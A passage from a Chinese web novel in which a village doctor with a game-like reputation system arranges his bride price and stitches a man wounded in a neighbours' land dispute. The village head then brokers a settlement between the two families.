江沐心中一暖,对这位朴实的庄稼汉子愈发敬重。 但他知道,规矩不能废。 “叔,话是这么说,但该有的礼数不能少。”他的语气平静,“按理说,这事该由我家长辈来谈。可我的情况……您也知道。有些规矩我不懂,但这份心意必须得到。您开个口,只要我能拿得出,绝不还价。” 张峰看着江沐那双清澈而真诚的眼睛,沉吟了片刻,伸出了五个手指头。 “那就……五块钱吧。图个吉利,意思意思就行。” 五块? 这数字让江沐都愣了一下。 在这个年代,五块钱虽然也不算少,但作为彩礼,实在是太轻了,这几乎等同于白送闺女。 他摇了摇头,斩钉截铁地开了口。“不行,太少了。叔,这样,彩礼二十块,另外再给婶子和小月各做一身新衣裳的布票。这是我最大的诚意,您要是不收,就是看不起我。” 二十块! 这手笔,在青莲公社,绝对算得上是头一份了! 张峰也被这个数字震住了,他张了张嘴,还想推辞,却被旁边刘桂芝狠狠地掐了一下胳膊。 最终,他只能叹了口气,点了点头。“行……那就听你的。” 彩礼一定,接下来便是日子。 张兰拿出早就找人算好的几个吉日,最后大家商定,婚期就定在阳历的八月二十。 算下来,只剩一个多月的时间了。 事情谈妥,皆大欢喜。 又坐了一会儿,江沐一行人便起身告辞。 回去的路上,李振国走在江沐身边,突然伸出手,重重地拍了拍他的肩膀,脸上是毫不掩饰的笑意。 “行啊你,江沐!从今往后,咱两家就是正儿八经的亲戚了!” 第68章 好事不出门,坏事传千里 江沐笑着点了点头,一行人已经走到了村子的岔路口。 张兰和李振国要回自家,便在此处与他们分开了。 “江大夫,那我们先回了啊!”张兰满面红光,嗓门依旧洪亮。 “行,婶子慢走。”江沐应了一声。 只剩下江沐和李有柱两人,气氛反而更轻松了些。 李有柱从兜里摸出烟叶和纸,卷了一根大炮,点上火猛吸一口。 “江大夫,这下你可算是咱们青莲公社的人了!等你跟小月结了婚,搬进那大瓦房,嘿,那日子……” 李有柱的话还没说完,就听到一阵尖利刺耳的叫骂声。 “田春燕!你再敢动一下我家的地界石,我撕烂你的嘴!” “我呸!张凤霞你个不要脸的,你家男人没本事,就惦记着占我们家的地?我看你是惦记男人惦记疯了?” 这骂声,恶毒又难听。 江沐和李有柱对视一眼,两人脸上的笑意瞬间凝固。 “他娘的,又来了!”李有柱脸色一沉,把刚抽了两口的烟卷往地上一扔,迈开大步就朝大队部的方向冲了过去。 江沐紧随其后。 好事不出门,坏事传千里。 这村里的是非,传播速度永远比喜讯快得多。 还没到大队部院子,就看见门口已经里三层外三层围满了看热闹的社员。 院子中央,大队书记高志强正黑着一张脸,试图拉架,可那两个打红了眼的女人谁也拉不开。 “住手!都给我住手!”李有柱人未到,声先至,他那声暴喝,总算让院里的混乱停了下来。 人群自动分开一条道,李有柱沉着脸走了进去。 “咋回事?啊?一个个吃饱了撑的是不是!有那力气不去上工挣工分,在这撒泼打滚,像什么样子!” 高志强见李有柱来了,抹了把额上的汗。 “有柱,你可算来了。还不是为那点自留地的事,两人都说对方占了自家的地,一句话不对付就掐起来了。” 其中一个女人,头发散乱,脸颊上还带着几道血印子,正是平日里名声不错的张凤霞。 她一见李有柱,眼泪就流下来了,指着对面的田春燕道。 “队长,你可得给我们家做主啊!这个田春燕,欺人太甚!年年都把她家的地界石往我们这边挪一点,今年开春直接挪了半尺宽!这日子没法过了!” 另一个女人田春燕是村里有名的泼辣户,嘴上从不吃亏。 她双手叉腰,一口浓痰吐在地上,冷笑道, “张凤霞你放你娘的屁!谁占谁家的地了?明明是你家那死鬼男人,手脚不干净,想多刨两垄地!你当大伙儿眼都瞎了? 再说了,你一个成天对着男人抛媚眼的货色,有什么脸在这喊冤?指不定是看上谁家汉子,想多占点地好送人情呢!” 这番话,已经不是单纯的争地,而是赤裸裸的人身攻击了。 “你……你血口喷人!”张凤霞气得浑身发抖,胸口剧烈起伏。 她尖叫一声,猛地扑了上去,一把就薅住了田春燕的头发! “我跟你拼了!” “哎哟!你个贱人还敢动手!” 两个女人瞬间撕打成一团,在地上翻滚,嘴里还不停地咒骂着对方,抓、挠、踢、咬,无所不用其极。 周围看热闹的人群非但不劝,反而还发出一阵阵哄笑,更有甚者还在那儿指手画脚。 “哎,对,薅她头发!别让她站起来!” “踹她肚子!往死里踹!” “都他娘的给我闭嘴!”李有柱气得太阳穴青筋暴起,他冲着旁边几个年轻力壮的后生吼道,“还愣着干什么?都是死人吗?赶紧上去把她们俩给老子拉开!” 几个后生这才反应过来,手忙脚乱地上去,总算将两个女人分开了。 就在这时,一个七八岁的小男孩,哭着喊着从人群外挤了进来,脸上挂满了鼻涕和泪水。 他是田春燕的儿子林百。 “妈!妈!不好了!”林百的声音带着哭腔,“赵……赵勇叔,他……他拿柴刀把我爸的胳膊给砍了!” 所有人都懵了。 看热闹的哄笑声戛然而生,所有人的脸上都写满了震惊。 为了一点自留地,吵架、打架是常事,可动刀子见血,这性质就完全变了! 张凤霞也傻了,她呆呆地站在原地。 她男人赵勇?那个平日里见了人连大声说话都不敢的男人,会拿刀砍人? 这怎么可能! 江沐来不及多想,医者的本能已经驱动了他的身体。 他转身就往卫生所的方向跑去,声音清晰地传了过来。 “我去拿药箱!” 李有柱的反应也极快,他脸色铁青,一把推开挡在身前的人,对着身后几个民兵厉声命令。 “跟我去田春燕家!” 田春燕家的院门虚掩着。 李有柱一脚踹开门,眼前的景象让他也倒吸了一口凉气。 院子当中,张凤霞的男人赵勇,正坐在一截木桩上,手里夹着一根卷烟。 他脚边的地上,扔着一把还沾着血迹的柴刀。 而在堂屋的门槛处,田春燕的男人林山正靠着门框,脸色惨白,左边肩膀到胳膊的位置,被鲜血浸透,把那件灰扑扑的粗布褂子染成了暗红色。 他的两个孩子,一儿一女,正跪在他身边,用一块破布死死地按着伤口,吓得浑身哆嗦。 “我的天爷啊!”田春燕扑了过去,一把抱住林山的腿,哭得撕心裂肺。“当家的!你怎么样啊!谁把你害成这样的啊!” 林山疼得嘴唇都在发白,他却反手给了田春燕一个耳光,骂道:“哭什么丧!老子还没死呢!” 紧随其后赶到的张凤霞,看到这幅场景,腿肚子一软,差点瘫在地上。 她没敢去看林山的伤,而是先冲到自己那两个吓得瑟瑟发抖的孩子面前,一把将他们搂进怀里。“宝儿,你们没事吧?有没有吓着?” 两个孩子哇的一声哭出来。“妈,爸……爸他会不会被抓起来枪毙啊?” 赵勇仿佛被这句话惊醒,他抬起头看向李有柱,哑声问道,“队长,人是我砍的。你……你把我送到派出所吧。” “送你娘的头!”李有柱怒骂一句,随即焦急地朝着院门口张望。 就在这时,江沐背着药箱,冲了进来。 “江大夫!”李有柱大喊一声,“快!快救人!” 江沐二话不说,放下药箱,单膝跪在林山身边。 他甚至没先去看伤口,而是从针袋里抽出几根银针,看准了林山肩膀附近的几处穴位,稳准狠地扎了下去。 神奇的一幕发生了。 那原本还在汩汩外冒的鲜血,竟以肉眼可见的速度变小,最后彻底止住了。 周围的人全都看傻了眼。 “剪刀。”江沐头也不抬,吩咐道。 田春燕还在发愣,旁边一个机灵的媳妇赶紧从屋里找了把剪刀递过来。 江沐接过剪刀,将林山身上那件被血浸透的褂子剪开。 随着破布被掀开,伤口的全貌,终于血淋淋地暴露在众人眼前。 那是一道从左边锁骨延伸到大臂的伤口,皮肉翻卷,深可见骨! 第69章 这叫欺负人欺负到家门口了 江沐从药箱里拿出碘伏和棉球,直接按在了那翻卷的皮肉上。 “啊——!” 一声惨嚎。 林山那张因失血而惨白的脸,瞬间痛苦地扭曲成一团,身体剧烈地弹了一下,险些挣脱开身边孩子的搀扶。 “疼!疼死老子了!你他娘的想杀人啊!” “不想死就给老子忍着!”江沐眼皮都未曾抬一下,手上的动作分毫不乱,声音冰冷,“伤口不清理干净,等着发炎流脓,这条胳膊就废了。想当个废人,你就继续叫,继续动。” 他这话,比李有柱的巴掌还管用。 林山疼得满头大汗,牙齿咬得咯咯作响,却硬是把后半截的咒骂给咽了回去,只是喉咙里发出低沉呜咽。 江沐飞快地清理完创口周围的血污,伤口的全貌更加清晰地暴露出来。 他眉头微蹙,这伤势比预想的还要严重。 【叮!来自田春燕的感激,声望+5!】 【叮!来自林山孩子的敬畏,声望+3!】 脑海中系统的提示音一闪而过,江沐无暇理会。 他从药箱里拿出缝合针和丝线,动作麻利地穿针引线。 “伤口太深,必须缝合。”他言简意赅。 一听要用针缝肉,别说林山了,就连旁边几个胆大的汉子都觉得头皮发麻。 “江大夫……这……这能行吗?”田春燕哆哆嗦嗦地问。 “不想他死,就行。”江沐回答道。 “找块干净的毛巾,塞他嘴里,别让他咬到舌头。”他又抬眼看向李有柱和高志强,“叔过来搭把手,把他给我按住了!肩膀和腿,别让他乱动!” “好!”李有柱立刻上前,一人按住林山没受伤的右肩,一人死死压住他的双腿。 高志强还算心善,低声安抚着已经面无人色的林山:“林山,你忍着点,江大夫是为你好,咬紧牙关,一会就过去了!” 林山嘴里被塞了毛巾,一双眼睛里充满了惊恐。 江沐不再废话,深吸一口气,捏着持针钳,缝合针拖着黑色的丝线,精准地刺入翻卷的皮肉。 “呜——!” 林山的身体猛地一弓,剧烈地挣扎起来! 那股钻心刺骨的剧痛,让他全身的肌肉都瞬间绷紧,青筋在额角和脖子上暴起。 “按紧了!”江沐低喝一声。 李有柱和高志强使出了吃奶的力气,才将他死死地控制在原地。 针尖刺入皮肉的声音,细微却又无比清晰。 一针,两针……江沐的动作快、准、稳,手指没有任何颤抖,每一针的间距都仿佛用尺子量过一般精准。 【叮!来自围观社员的震惊,敬佩,声望+8!】 【叮!来自李有柱的信赖,声望+10!】 林山在两个壮汉的压制下,身体因为无法抑制的剧痛而剧烈地颤抖着。 汗水早已湿透了他的衣衫,与地上的血水混在一起。 第十针……第十五针…… 【叮!来自高志强的钦佩,声望+7!】 江沐的额上也渗出了细密的汗珠,这不仅仅是体力活,更是对精神的高度考验。 ……第二十二针。 当江沐打下最后一个外科结,剪断丝线时,整个院子安静得落针可闻。 他长长地舒了一口气,感觉后背都有些湿了。 “好了。”他站起身,将带血的工具放回药箱,“这段时间,这条胳膊绝对不能用力,伤口不能沾水。我给你开个方子,去抓点中药,补补气血。” 【叮!本次救治共计获得声望62点。当前总声望:1494点。】 江沐这边话音刚落,李有柱就猛地转过身,通红的眼睛瞪着院子里还伸长脖子看热闹的人群,爆发出一声怒吼。 “看!看什么看!都他娘的给我滚!谁家没点屁事是吧?再不滚,今年的工分都给你们扣光!” 人群作鸟兽散,李有柱走过去,关上了院门,将外界的一切隔绝。 院子里,只剩下当事的两家人,还有江沐和几个民兵。 李有柱走到失魂落魄的赵勇面前,又扫了一眼还在呻吟的林山,声音不大,却字字清晰。 “现在,能说说为什么了吗?为了一点地界,值得下这么重的手?” 一直沉默的赵勇,身体猛地一颤。 他缓缓抬起头,布满血丝的双眼死死地盯住了门槛处的林山,那眼神里的恨意,几乎要凝成实质。 “地界?”他笑了,笑声比哭还难听,“我赵勇是老实,不是傻子!平日里田春燕骂我媳妇,我让我媳妇忍,她挪地界石,我也只当没看见!我忍了这么多年,换来了什么?” 他猛地站起来,指着林山,怒声道,“就今天下午!他!林山!他跑到我家门口,当着我娃的面,跟我说,说让我媳妇跟他睡一觉,那半尺地就当是他送我家的!!” “你个王八羔子!你还是不是人!”赵勇的胸膛剧烈起伏,眼珠子都红了,“我没一刀劈死你,算你命大!” 这话一出,院子里所有人都被震住了。 一直护着孩子的张凤霞,捂着脸蹲在地上,发出了压抑的呜咽。 原来……原来是这样! 难怪她那老实巴交的男人会突然像换了个人一样! 林山也懵了,他嘴里的毛巾被田春燕取了出来,他张了张嘴,脸色更加惨白,辩解的声音却显得无比苍白无力。 “我……我那就是跟他开个玩笑……谁知道他……他当真了还拿刀……” “开玩笑?”李有柱气得浑身发抖,走上前去,要不是看他重伤在身,一脚就踹过去了,“有你这么开玩笑的吗?这叫耍流氓!这叫欺负人欺负到家门口了!” 真相大白。 院子里的气氛瞬间变了。 原本对赵勇的指责,此刻全都变成了对林山的鄙夷和对赵勇一家的同情。 几个民兵下意识地松开了原本想去控制赵勇的手。 赵勇却再次跌坐回木桩上,他看着哭成一团的妻子和吓得发抖的孩子,这个刚刚还凶狠的男人,眼眶瞬间就红了。 张凤霞扑了过来,一把抱住他的胳膊,哭着捶打他的后背。 “你傻啊!你犯什么傻啊!你真把他砍死了,你也要去蹲大牢,被枪毙!到时候我们娘仨可怎么活啊!赵勇!你让我们怎么活啊!” 妻子的哭喊,狠狠扎进了赵勇的心里。 他再也绷不住了,这个被生活和邻里欺压了半辈子的男人,看着自己的老婆孩子,终于像个孩子一样,嚎啕大哭起来。 第70章 你们自己想清楚 李有柱黑着脸。 他狠狠地瞪了一眼还在地上哼哼唧唧的林山,又看了一眼抱头痛哭的赵勇一家,太阳穴突突直跳。 他上前一步,粗声粗气地冲着林山。 “林山!这事儿,你自个儿说,想怎么了结?” 话音未落,一直瑟缩在一旁的田春燕猛地尖叫起来,一屁股坐在地上,开始拍着大腿撒泼。 “怎么了结?他把我男人砍成这样,骨头都看见了!这是要杀人啊!没二百块钱,这事儿没完!我们就要去公社告他!让他去蹲大牢,吃枪子儿!” 二百块! 别说赵勇一家,就连几个民兵都很震惊。 二百块钱,在这个年头,一个壮劳力辛辛苦苦干满一年,也未必能攒下这个数。 这哪里是要赔偿,这分明是趁火打劫,是要赵勇一家的命! 张凤霞的哭声戛然而止,她猛地抬头,满脸泪痕,她扑到林山脚边。 “林山大哥,田春燕嫂子!我们赔,我们砸锅卖铁也赔!求求你们,别报警,千万别报警!他要是被抓走了,我们娘儿仨就真没活路了啊!” “现在知道怕了?晚了!”田春燕眼睛一翻,啐了一口,“早干嘛去了?没钱?没钱就拿人来抵!” “你他娘的给老子闭嘴!” 李有柱忍无可忍,一声暴喝,震得田春燕浑身一哆嗦。 他指着田春燕的鼻子,怒声道,“这里有你说话的份儿吗?林山,我问你,这个家,到底是你当家还是这个婆娘当家?” 林山被他吼得一愣,又看了一眼胳膊上那狰狞的伤口,嘟囔道:“当然……当然是我……” “好!是你当家就行!”李有柱往前一逼,蹲下身子,盯住林山的眼睛,“既然是你当家,那你自个儿心里也该有杆秤!赵勇为什么砍你,你心里比谁都清楚!今天江大夫在这,我们几个民兵也在这,大家给你做个见证,你要是想大事化小,咱们就坐下来好好谈!你要是听这婆娘的,非要狮子大开口,行啊!” 李有柱猛地站起身,声音拔高。 “咱们现在就去报警!把赵勇抓起来!可你林山也别想跑!你当着人家孩子的面,调戏人家媳妇,这叫什么?这叫耍流氓!流氓罪是个什么下场,不用我教你吧?到时候谁也保不了你!你自个儿掂量掂量!” 林山瞬间打了个冷颤,他太清楚这罪名的分量了,真要是被扣上这顶帽子,别说在青莲公社,就是在整个邹县都别想抬起头做人,下半辈子就彻底毁了! 他急忙摆着没受伤的手,声音都哆嗦了。 “能谈!有柱哥,能谈!咱们私了,私了!” 李有柱冷哼一声,这才转过身,看向已经停止哭泣,眼神空洞的赵勇。 他的语气缓和了些,“赵勇,你也是个当爹的人了,你不想想你自己,也该为你这两个娃想想吧?你真进去了,他们以后在村里怎么抬头?背后要被人戳一辈子脊梁骨!” 说完,他的目光又落在了始终沉默的江沐身上。 “江大夫,你是文化人,见识比我们这些泥腿子多。依你看,这事儿怎么处理最妥当?” 院子里所有人的目光瞬间都聚焦在了江沐身上。 江沐没有去看任何人,只是淡淡地扫了一眼赵勇那两个吓得瑟瑟发抖的孩子。 “我只说一句。今天这事,不管是砍人的,还是被砍的,真要闹到公家那里,记在了档案上。那就不再是你们两个人的事,而是你们两家人的事,你们的儿子,你们的孙子,都会被人戳脊梁骨,你们自己想清楚。” 赵勇看了一眼身边的妻儿,紧握的拳头缓缓松开,哑着嗓子开了口。 “我认。砍伤了他,是我不对,我赔。但要是想讹我二百块,门都没有!大不了鱼死网破,老子烂命一条,跟他一起上路!” 李有柱见火候到了,重新转向林山。 “林山,你听见了。给句痛快话,要赔多少,说个实在数!” 林山眼珠子转了转,他不敢再提流氓罪的事,他捂着胳膊,装出一副痛苦万分的样子。 “我……我这胳膊伤成这样,起码两三个月下不了地,干不了活。我也不多要,就……就五十块钱!这总行了吧!” “五十块?!”赵勇一听,猛地站起,指着林山的鼻子破口大骂,“你他娘的活该!你那张臭嘴就值五十块!凤霞,我们走!让他报警去!老子不伺候了!” 说着,他拉起张凤霞就要往外走。 “你给我站住!”李有柱一把拽住他的胳膊,“冲动能解决问题吗?给我坐下!” 他把赵勇按回木桩上,然后走到院子中央,伸出了一根手指和一只手掌。 “都别吵了!这事我来做主!”他的声音不大,却不容置疑,“十五块钱!外加一只老母鸡,给林山补补身子!这事,就这么算了!” 十五块钱,一只鸡。 这个数字,让两家人都愣住了。 对赵勇家来说,虽然肉疼,但咬咬牙还能凑出来。 对林山家来说,虽然离预期差得远,但总比闹到最后自己也落个流氓罪强。 田春燕还想开口,却被林山一眼瞪了回去。 “行!就按有柱哥说的办!”林山咬着牙道。 赵勇也沉默了半晌,点了点头。 “好!我们认了!不过得让高书记给写个字据,按上手印,省得他们以后再反悔!” “这个自然!”李有柱点头。 事情眼看就要了结,赵勇却突然又抬起头,盯着林山。 “那他家占了我家地的事,怎么说?” “等会儿我就拿尺子过来,当着大家伙的面,重新给你们两家量地!”李有柱说道。 “谁的地就是谁的,一分一毫都不能差!以后谁再敢偷偷挪地界石,别怪我李有柱不讲情面,直接上报公社,扣光他全家的工分!” 话说到这份上,再无转圜余地。 赵勇站起身,拉着还在抽泣的妻子和惊魂未定的孩子。 “我们……现在就回家抓鸡去。”一家四口,走出了院门。 第71章 不多不少,整整二十公分 院子里,只剩下李有柱、江沐和林山两口子。 李有柱的脸色,再次沉了下来。 他走到田春燕面前,冷声道,“田春燕,你那张嘴,早晚得给你家招来大祸!村里谁家没被你骂过?再这么尖酸刻薄,信不信全村人没一个愿意搭理你们?” 田春燕缩着脖子不敢吭声。 李有柱又转向林山,警告道,“还有你,林山!老大不小的人了,什么玩笑能开,什么玩笑不能开,心里没点数吗?今天也就是碰上赵勇这个老实人,要是换个刺头,你现在就不是躺在这,是躺在棺材里了!” “我把丑话说在前头!以后,你们两口子要是再敢跟村里人吵吵闹闹,惹是生非,真到了全村人要把你们撵出去那天,我李有柱,绝不拦着!” 李有柱的话说完,两人耷拉着脑袋,再不敢吭一声。 田春燕那点撒泼的劲儿,早就被撵出村三个字吓得烟消云散了。 就在这时。 赵勇和张凤霞回来了。 赵勇手里提着一只还在扑腾的老母鸡,另一只手死死攥着什么。 他面无表情,径直走到院子中央。 在所有人惊愕的目光中,他从腰间摸出那把还带着血迹的柴刀,手起刀落,抹了鸡脖子。 母鸡的惨叫戛然而止,温热的鸡血喷溅而出,在黄土地上洇开一团暗红。 赵勇松开手,任由那只鸡在地上抽搐着,扑腾着。 张凤霞抖着手,将一沓零零碎碎的毛票递到李有柱面前,那钱被汗水浸得有些潮湿,带着她手心的温度。 “有柱哥,你……你点点。” 李有柱看都没看,直接把钱推到田春燕面前,下巴一扬。 “你家的钱,你自个儿点。” 田春燕的眼睛瞬间亮了,她一把抓过那沓钱,指尖沾了点唾沫,唾沫星子飞溅地数了两遍,确认是十五块钱分文不差后,看也不看旁人,直接揣进了自己那打了补丁的口袋里,动作快得像生怕有人跟她抢。 “钱货两清!”她嘟囔了一句。 “行了,那就按手印吧。”书记高志强不知何时已经写好了字据,一式两份,言简意赅地写明了事由和赔偿结果。 林山和赵勇一言不发,分别在两份字据上歪歪扭扭地签了名,又用高志强带来的印泥,重重地按下了自己的红手印。 高志强收起其中一份,将另一份递给赵勇。 “行了,字据签了,手印按了,这事儿就算翻篇了。” 他扫视了两家人,“以后是当抬头不见低头见的邻居,还是当见了面绕道走的陌生人,你们自个儿掂量。” 说完,他不再多看一眼,转身就走。“有柱,江大夫,咱们走。” 众人随即散去,留下林山一家和一地鸡毛。 江沐跟着李有柱和高志强,一路沉默地来到了大队部。 院子里的水井旁,江沐挽起袖子,用冰凉的井水反复冲洗着手上沾染的血污和药味。 等他洗好手,便看见李有柱和高志强已经扛着一把老旧的木制量地尺,大步流星地朝着自留地的方向去了。 江沐心下了然,这是要去解决根源问题了。 果不其然,没过多久,尺子就量到了林山和赵勇两家交错的地界。 在几个民兵的见证下,李有柱拉直尺子,眼睛眯成一条线,仔细地比对着原来的地界石。 结果一出来,围观的几个村民顿时发出一阵低低的嘘声。 不多不少,整整二十公分! 林山家那块地,硬生生往赵勇家这边胖了二十公分宽的一长条。 李有柱的脸一黑。 他一把将尺子摔在地上,指着闻讯赶来的林山的鼻子,声色俱厉。 “林山!我最后警告你一次!你要是再敢动这地界石一指头,你家这块自留地就别种了,直接给老子交回队里!” 他又转向一脸愤懑的赵勇,语气缓和了些。 “赵勇,你记住了!以后再有这事,别冲动,直接来大队部找我!我给你做主!” 这场闹剧,总算尘埃落定。 回大队部的路上,高志强紧绷的脸终于松弛下来,他笑着拍了拍江沐的肩膀。 “江大夫,你那头的事咋样了?婚事定下来没?” 江沐的心情也跟着明朗起来,点了点头。 “定下了,八月二十号,日子都看好了。”他想了想,补充了一句,“应该能赶在建设哥前头。” “那敢情好啊!”高志强一听就乐了,“这样,回头找个工夫,把振国和建设那小子都喊上,咱们炒两个菜,好好喝点,提前给你庆祝庆祝!” “行,我来安排。”江沐笑着应下。 与两人告别后,江沐迈着轻快的步子回到了卫生所。 他推开院门,习惯性地喊了一声。 “虎虎!生威!我回来了!” 然而,院子里静悄悄的,没有预想中两条大狗摇着尾巴飞奔而来的身影。 江沐快步走进屋里,又绕到院子后头,角角落落都找遍了,连个狗毛都没看见。 他的心一点点沉了下去。 这个年代,吃不饱饭是常态,虎虎和生威被他养得油光水滑,膘肥体壮,在某些人眼里,不就是两锅行走的肉吗? 一想到这个可能,江沐的脸色就变得难看起来。 他立刻锁上门,沿着村里的小路开始寻找,一边走一边喊着两条狗的名字。 村里正在地头玩耍的孩子们看见江大夫一脸焦急,纷纷围了上来。 “江大夫,你找啥呢?”一个虎头虎脑的半大孩子问。 “我家的狗不见了,你们看见没?就那两条,一黄一黑,长得挺胖的。” “啊?虎虎和生威丢了?”孩子们顿时炸开了锅,他们平日里最喜欢逗弄那两条通人性的狗了。 “没看见啊!” “我们帮你找!” 一时间,孩子们一哄而散,钻进村里的各个角落,清脆的呼喊声此起彼伏。 “虎虎——!” “生威——!” 江沐找了小半个村子,嗓子都快喊哑了,依旧一无所获。 就在他心急如焚的时候,正在自家门口择菜的刘春花抬起了头。 “江大夫,找狗呢?” “是啊,嫂子,你看见没?”江沐燃起希望。 刘春花拍了拍手上的泥,皱着眉头想了想。 “哦……你这么一说,我倒是想起来了。今天一大早,天刚蒙蒙亮那会儿,我好像是看见你家那两条狗了,疯了似的,一溜烟就往后山那边跑了。” 第72章 这简直就是去山里扫荡了 江沐悬着的心,顿时落了一半。 这两个小家伙,自从被他用固元丹的药渣喂养,体格和精力就远超寻常土狗,疯起来跟两头小牛犊子似的。 村里这点地方,怕是早就满足不了它们了。 看来今天早上自己和它们说的话,它们听懂了,钻进山里撒野逮兔子去了。 想到这,江沐放下心来,只要不是被人套走下了锅,一切都好说。 他冲刘春花道了声谢,转身回了自家院子。 今晚约了有柱叔和高书记他们喝酒,得提前把菜拾掇出来。 这刚搬进新家,又定下了婚事,于情于理都该热闹一下。 他刚把从供销社换来的干豆角泡上,正准备处理那块过年攒下的腊肉,院门外就传来一阵孩子们的尖叫。 “江大夫!江大夫!” “虎虎和生威回来啦!它们抓了好多兔子!” 一个半大孩子跑得最快,上气不接下气地冲进院子,指着门外,一脸崇拜 江沐一愣,放下手里的菜刀,走了出去。 只一眼,他也怔住了。 只见卫生所门口的空地上,虎虎和生威正威风凛凛地蹲坐着,而在它们脚边,横七竖八地躺着一堆战利品。 七只! 整整七只灰毛兔子,各个肥美。 江沐蹲下身,随手拎起一只,入手沉甸甸的,怕是有四五斤重。 他仔细翻看了一下,兔子上除了沾了些尘土,竟找不到一处明显的咬痕。 唯一的伤口,在后脑勺。 那里皮毛塌陷,颅骨显然是被某种巨大的钝力直接击碎的。 一击毙命!干净利落! 江沐再看其他几只,无一例外,这两个家伙,哪是去打猎,这简直就是去山里扫荡了。 虎虎和生威办完了这桩大事,似乎也觉得脸上有光。 它们迈着六亲不认的步伐,昂首挺胸地走到院里的水缸边,喝起水来。 围观的孩子们看得眼睛都直了,一个个脸上写满了羡慕。 “江大夫,你家狗也太神了吧!” “它们咋这么厉害?比咱村里最好的猎狗都强!” “我能摸摸它不?” 江沐笑着揉了揉离他最近的一个孩子的脑袋。 “想玩明天再来,今天江大夫要请客吃饭,没空陪你们。” 他从兜里掏出几颗糖果分给孩子们,总算把这群小崇拜者给打发走了。 等人散去,江沐看着这一地的兔子,哭笑不得。 这下好了,晚上的菜谱是彻底解决了。他手脚麻利地拎起两只最肥的,进了屋。 剥皮、开膛、清洗……一套动作行云流水。也就是半个钟头的工夫,两只兔子就被他处理得干干净净,兔肉切块,用料酒和姜片腌上。 他这边刚忙完,院门就被人推开了。 “江大夫,我们哥几个可闻着味儿来啦!”李有柱的大嗓门还没到,声先至。 他身后跟着一脸笑意的高志强,还有个跟江沐年纪相仿,身板结实的年轻人,正是高建设。 李有柱一眼就瞥见了地上剩下的那五只兔子,震惊不已,“我的乖乖!你小子发财了?哪弄这么多野兔子?” 高志强也是一脸惊奇。 江沐指了指正在院角闭目养神的虎虎和生威,笑道:“喏,功臣在那儿呢。” 李有柱顺着他指的方向看去,看到两只狗,他几步冲过去,围着两条狗转了两圈,啧啧称奇。“就它俩?干的?” 高志强更是直接蹲下了身子,仔细端详着那两条狗。 这两条狗崽子还是他从自家大黄那一窝里给江沐匀来的,这才几个月功夫?长得比它们亲妈都壮实了一圈! “我说江大夫,你这是拿啥仙丹喂的?”高志强抬起头询问道,“不光长得快,还会自个儿上山打猎孝敬你?” 江沐端起搪瓷缸子喝了口水,笑道,“也没啥特别的,我吃啥,它们就跟着吃啥。” 这话一出,李有柱和高志强对视一眼,都从对方眼里看到了两个字:离谱! “行了行了,别研究狗了!”李有柱是个实在人,他一把抢过江沐手里的锅铲,塞到高建设怀里。 “建设,你小子拿手菜就是红烧兔子,今儿让你江哥瞧瞧你的本事!” “得嘞!”高建设也不客气,接过锅铲,系上围裙,像模像样地颠了颠锅,立刻就在灶台前忙活开了。 很快,院子里就飘起了浓郁的肉香。 几人干脆把桌子搬到了院子里。 一盘香气四溢的红烧兔肉,一盘腊肉炒干豆角,再配上两个素菜,桌子中央摆着两瓶打开的西凤酒。 酒过三巡,话匣子彻底打开。 从队里的收成聊到各家的鸡毛蒜皮,最后又绕回到了江沐的婚事上。 一直闹到快十点,酒瓶见了底,几人才带着几分醉意,摇摇晃晃地散去。 江沐也喝得不少,脑袋晕乎乎的,简单收拾了一下便沉沉睡去。 …… 第二天一早,江沐是被一泡尿给憋醒的。 他揉着惺忪的睡眼,迷迷糊糊地趿拉着鞋就往院子角落的茅厕走。 刚走两步,就被两个毛茸茸的门神给拦住了去路。 虎虎和生威,一左一右,并排堵在他面前,两双黑亮的狗眼瞪得溜圆。 江沐脑子还有点懵。“干啥?让开,憋不住了。” 两条狗非但没让,反而整齐划一地抬起前爪,重重地拍了拍旁边空空如也的铁食盆。 江沐宿醉的脑子瞬间清醒了大半。 他好像……是说过要给这两个大功臣加餐来着。 结果酒一喝,人一走,他就把这茬忘得一干二净。 “我的错,我的错!”江沐揉了揉眉心,蹲下身,一手一个,揉搓着它们俩的大脑袋。 “瞧我这记性,光顾着跟人喝酒,把咱们家最大的功臣给忘了,该打!” 他嘴上道歉,心里却已经打开了声望商城。 【叮!是否消耗2点声望值,兑换特级雪花牛肉一公斤?】 “兑换!”江沐心中默念。 下一秒,凭空出现的油纸包稳稳落在他手中,一股肉香瞬间弥漫开来。 虎虎和生威的鼻子比雷达还灵,两双眼睛一下就黏在了油纸包上,尾巴摇得像两个高速旋转的螺旋桨。 江沐撕开油纸,露出里面红白相间、纹理清晰的顶级牛肉。 他大手一挥,将牛肉分到两个食盆里。 两个小家伙立刻埋头苦干,风卷残云。 江沐看着它们满足的样子,悬着的心彻底落了地。 第73章 哥带你去县里扯布做新衣裳去 日子一晃,就到了八月二号。 卫生所的门帘一挑,杨小军扶着他媳妇马小爱走了进来,脸上挂着掩饰不住的喜色。 “江大夫!我们来啦!” 江沐抬头,打量了两人一眼。 这才几天功夫,杨小军的面色红润了不少,眼底的虚浮青黑也淡了,整个人瞧着精气神十足。 “坐。”江沐指了指旁边的长凳,伸手搭在了杨小军的脉上。 片刻后,他睁开眼,看着杨小军,“药都按时吃了?我交代的事,没犯吧?” 杨小军的脸一下就红了,连忙摆手,“没有没有!绝对没有!您的话我哪敢不听啊!连我媳妇的床边我都没敢靠近!” 马小爱在一旁羞得头都快埋进胸口了。 “那就好。”江沐点点头,神色缓和下来。 “把上衣脱了,趴床上。我能感觉到你身体里的那股亏空的气正在慢慢补回来,看来药是对症了。” 杨小军一边麻利地脱衣服,一边附和。 “可不是嘛!江大夫您是真神了!就这几天,我感觉身上那股子懒洋洋的劲儿全没了,干活都有力气了!腰也不酸了!” 江沐没接话,取出银针,点燃酒精灯消毒。 “别高兴得太早。”他的声音沉稳有力,“今天这次扎完,最多再有两次,才能把你的根子彻底稳住。这期间,还是得管住自己。” “明白!明白!” 银针刺入穴位,杨小军只觉得一股若有若无的暖流顺着后腰蔓延开来,舒服得他差点哼哼出声。 趴了一会儿,他像是想起了什么,侧过头,压低了声音,神秘兮兮地问。 “江大夫,我跟您打听个事儿。您之前给周书记他们吃的那个……那个叫啥,滋补丹,我能吃不?” 不等江沐回答,他自己就先激动了起来。 “您是不知道,现在那玩意儿都传疯了!黑市上有人倒手,十块钱一颗!十块钱啊!就这样,还得托关系抢呢!我托了好几个人,都没弄到!” 十块钱一颗? 江沐捻着银针的手指微微一顿,眼皮一跳。 他当初给周志康他们,可是才两块钱。 没想到这东西在外面竟然被炒到了这种天价! 